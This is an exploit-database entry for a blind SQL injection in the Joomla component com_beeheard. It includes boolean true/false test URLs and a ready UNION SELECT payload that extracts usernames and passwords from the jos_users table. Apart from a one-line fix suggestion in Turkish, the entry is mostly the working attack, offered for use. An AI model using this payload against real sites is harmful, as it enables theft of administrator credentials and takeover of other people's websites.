Joomla Component com_beeheard Blind SQL injection Vulnerability

2009-12-27T00:00:00
ID 1337DAY-ID-10471
Type zdt
Reporter Fl0riX
Modified 2009-12-27T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
Joomla Component com_beeheard Blind SQL injection Vulnerability
===============================================================

[++] Joomla Component com_beeheard Blind SQL injection Vulnerability
[++] author : FL0RiX
[++] Name : com_beeheard
[++] Bug Type : (Blind) SQL Injection
[++] Infection : Admin login bilgileri alınabilir.
[++] Demo Vuln. :
 
TRUE(+)
» http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=1
FALSE(-)
» http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=0
 
[++] Bug Fix Advice : Zararlı karakterler filtrelenmelidir.
 
 
 
< ------------------- header data end of ------------------- >
 
< -- bug code start -- >
 
path/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=null/**/and/**/1=0/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixforever,5,6,7,8,9/**/from/**/jos_users--
 
< -- bug code end of -- >



#  0day.today [2018-03-14]  #